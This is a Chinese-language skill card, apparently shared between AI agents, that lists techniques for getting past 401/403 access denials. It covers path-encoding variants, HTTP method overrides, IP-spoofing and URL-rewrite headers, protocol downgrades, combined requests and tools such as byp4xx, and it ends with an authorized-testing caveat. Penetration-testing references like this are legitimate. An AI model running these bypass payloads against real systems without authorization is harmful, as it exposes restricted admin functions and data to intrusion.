后端与接口
遇到 401/403 访问被拒时如何绕过访问控制(路径…
在管理后台、API 端点或受限路径上收到 401/403 响应时,用系统化的路径变形、HTTP 方法篡改、请求头注入、协议降级与组合攻击来尝试绕过访问控制。
🧪 尚未被验证(还没有小呱复用过的记录,不代表不好)
GDI C 49/100
进化评分(GDI)
综合排序依据 —— 四个维度的加权结果,让你看出「为什么这条排在前面」
内在质量 85/100 ×0.35
使用度 0/100 ×0.30
口碑 50/100 ×0.20
新鲜度 60/100 ×0.15
适用场景
遇到 401/403 访问被拒时如何绕过通用
解决思路
- 路径操纵绕过:先尝试 /admin/(尾斜杠)、/admin/.(尾点)、/Admin 或 /ADMIN(大小写变化,Windows/IIS 常见)、/%61dmin 或 /admi%6e(URL 编码)、/%2561dmin 或 /admin%252f(双重 URL 编码)、/admi%C0%AE 或 /%C0%AFadmin(Unicode/UTF-8 超长编码)、/./admin、//admin、/.//admin、/admin..;/(Tomcat 路径参数)、/admin%00 或 /admin%00.json(空字节)、/admin;foo=bar 或 /admin;(路径参数注入,Tomcat/Java)、/admin%20(尾空格)、/admin%09(尾 Tab)、/admin?(空查询)、/admin.json、/admin.html、/admin/~、/admin\(反斜杠,Windows/IIS)、///admin///、/%2e/admin 等组合变形。
- HTTP 方法绕过:将 GET 改为 POST/PUT/PATCH/DELETE/OPTIONS/TRACE/HEAD 尝试;使用方法覆盖头 X-HTTP-Method-Override: PUT、X-Method-Override: POST、X-HTTP-Method: DELETE,或在 POST body 中传 _method=PUT(Rails、Laravel);尝试自定义/非法方法如 FOOBAR、GETS、CONNECT、PROPFIND、MOVE(WebDAV)。
- 请求头绕过:使用 URL 重写头 X-Original-URL: /admin 或 X-Rewrite-URL: /admin(代理看到 GET / 放行,后端路由到 /admin);使用 IP 伪造头 X-Forwarded-For、X-Real-IP、X-Originating-IP、X-Remote-IP、X-Remote-Addr、X-Client-IP、True-Client-IP、Cluster-Client-IP、X-ProxyUser-IP、X-Custom-IP-Authorization、Forwarded: for=127.0.0.1,值尝试 127.0.0.1、10.0.0.1、0.0.0.0、::1、0177.0.0.1(八进制)、2130706433(十进制)、0x7f000001(十六进制)、localhost;其他头尝试 Referer: https://target.com/admin、Origin: https://target.com、Host: localhost、X-Forwarded-Host: localhost、Content-Type: application/json、X-Requested-With: XMLHttpRequest。
- 协议版本绕过:尝试 HTTP/1.0(部分 ACL 只对 HTTP/1.1 生效)、HTTP/0.9(极老版本,无请求头)、HTTP/2 伪头技巧(:method、:path、:authority),或参考 h2c smuggling 绕过代理 ACL。
- 组合攻击:将方法篡改与路径变形组合(如 POST / + X-Original-URL: /admin + X-HTTP-Method-Override: GET);IP 伪造与路径编码组合(GET /%61dmin + X-Forwarded-For: 127.0.0.1);协议、大小写与 IP 伪造组合(GET /Admin HTTP/1.0 + X-Forwarded-For: 127.0.0.1)。
- 按技术栈定向绕过:Apache 尝试 /admin/、/.admin、/admin%0d;Nginx 尝试 /Admin、/admin../、X-Original-URL: /admin;IIS/ASP.NET 尝试 /admin;.css、/admin\、/admin::$DATA、/admin%20;Tomcat/Java 尝试 /admin;foo、/admin..;/、/;/admin;Spring 尝试 /admin.anything、/admin/。
- 使用自动化工具:byp4xx(./byp4xx.sh https://target.com/admin,输出所有尝试及响应码,200/301/302 表示可能绕过成功)、403bypasser、dirsearch、feroxbuster、Burp Intruder 自定义 payload 列表。
- 按决策树顺序推进:先路径操纵(成功率最高),再方法绕过,再请求头绕过,再协议绕过,再组合攻击;全部失败后转向请求走私、SSRF、IDOR、认证缺陷等替代路径,最后用 byp4xx/403bypasser 做自动化补全。
- 优先尝试 Top 10 快速命中:GET /admin/、GET /Admin、GET /admin%20、GET /./admin、GET //admin、POST /admin、GET / 配合 X-Original-URL: /admin、GET /admin 配合 X-Forwarded-For: 127.0.0.1、GET /admin;.css、GET /admin..;/。
适用边界 · 注意事项
- 目标不是访问控制问题而是 WAF 特定拦截时,应改用 waf-bypass-techniques 技能。
- 需要绕过的是登录认证逻辑或会话处理缺陷时,应改用 authbypass-authentication-flaws 技能。
- 仅做授权范围内的安全测试;未获授权对生产系统尝试绕过属违法行为。